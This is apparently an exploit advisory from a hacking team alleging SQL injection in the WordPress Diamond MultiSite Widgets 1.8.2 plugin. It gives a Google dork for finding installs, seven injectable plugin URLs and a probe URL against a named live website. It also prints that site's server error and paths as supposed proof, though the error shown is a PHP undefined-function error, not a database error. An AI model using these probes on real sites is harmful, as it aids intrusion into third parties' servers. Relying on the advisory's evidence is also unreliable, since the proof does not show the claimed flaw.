WordPress Diamond MultiSite Widgets 1.8.2 SQL Injection

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# Exploit Title : WordPress Diamond MultiSite Widgets Plugins 1.8.2 SQL Injection  
# Author [ Discovered By ] : KingSkrupellos  
# Team : Cyberizm Digital Security Army  
# Date : 28/01/2019  
# Vendor Homepage : amegrant.com  
# Software Download Link : downloads.wordpress.org/plugin/diamond-multisite-widgets.1.8.2.zip  
# Software Information Link : wordpress.org/plugins/diamond-multisite-widgets/  
# Software Version : 1.8.2  
# Tested On : Windows and Linux  
# Category : WebApps  
# Exploit Risk : Medium  
# Google Dorks : inurl:''/wp-content/plugins/diamond-multisite-widgets/''  
# Vulnerability Type : CWE-89 [ Improper Neutralization of   
Special Elements used in an SQL Command ('SQL Injection') ]  
  
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# Description :  
***************  
  
Diamond MultiSite Widgets is open source software for WordPress.  
  
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# Impact :  
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* WordPress Diamond MultiSite Widgets Plugins 1.8.2 is prone to an   
  
SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied   
  
data before using it in an SQL query.  
  
* Exploiting this issue could allow an attacker to compromise the application, read,  
  
access or modify data, or exploit latent vulnerabilities in the underlying database.   
  
If the webserver is misconfigured, read & write access to the filesystem may be possible.  
  
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# SQL Injection Exploit :  
**********************  
  
/wp-content/plugins/diamond-multisite-widgets/diamond-admin.php?id=[SQL Injection]  
  
/wp-content/plugins/diamond-multisite-widgets/diamond-bloglist.php?id=[SQL Injection]  
  
/wp-content/plugins/diamond-multisite-widgets/diamond-broadcast-posts.php?id=[SQL Injection]  
  
/wp-content/plugins/diamond-multisite-widgets/diamond-multisite-widgets.php?id=[SQL Injection]  
  
/wp-content/plugins/diamond-multisite-widgets/diamond-post-feed.php?id=[SQL Injection]  
  
/wp-content/plugins/diamond-multisite-widgets/diamond-recent-comments.php?id=[SQL Injection]  
  
/wp-content/plugins/diamond-multisite-widgets/diamond-recent-posts.php?id=[SQL Injection]  
  
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# Example Vulnerable Site :  
*************************  
  
[+] londonsvenskar.com/wp-content/plugins/diamond-multisite-widgets/diamond-admin.php?id=1%27  
  
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# SQL Database Error :  
*********************  
  
Fatal error: Uncaught Error: Call to undefined function add_action() in /home/londonsv  
/public_html/wp-content/plugins/diamond-multisite-widgets/diamond-admin.php:6   
Stack trace: #0 /home/londonsv/public_html/wp-content/plugins/diamond-multisite-widgets  
/diamond-admin.php(277): DiamondAdmin->DiamondAdmin() #1 {main} thrown in   
/home/londonsv/public_html/wp-content/plugins/diamond-multisite-widgets  
/diamond-admin.php on line 6  
  
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# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team   
  
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